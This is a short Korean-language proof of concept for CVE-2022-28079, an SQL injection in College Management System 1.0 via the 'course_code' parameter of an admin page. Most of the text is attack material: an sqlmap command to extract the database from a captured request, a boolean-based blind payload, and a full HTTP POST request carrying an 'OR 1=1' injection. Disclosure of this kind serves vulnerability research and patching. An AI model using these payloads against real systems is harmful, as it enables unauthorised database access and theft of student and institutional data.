
CVE-2022-28079
College Management System 1.0은 /College-Management-System/admin/asign-single-student-subjects.php의 'course_code' 매개변수를 통한 SQL 인젝션을 허용합니다. 이 문제를 악용하면 공격자는 애플리케이션을 손상시키거나, 데이터에 접근하거나 수정하거나, 기본 데이터베이스의 잠재적 취약점을 악용할 수 있습니다.
Burpsuite에서 영향받는 페이지의 요청을 가로채 'course_code' 매개변수를 사용해 poc.req로 저장합니다. 그런 다음 SQLmap을 실행하여 데이터베이스에서 데이터를 추출합니다:
sqlmap -r poc.req --dbms=mysql
boolean 기반 블라인드 Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ
POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe
Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36
submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns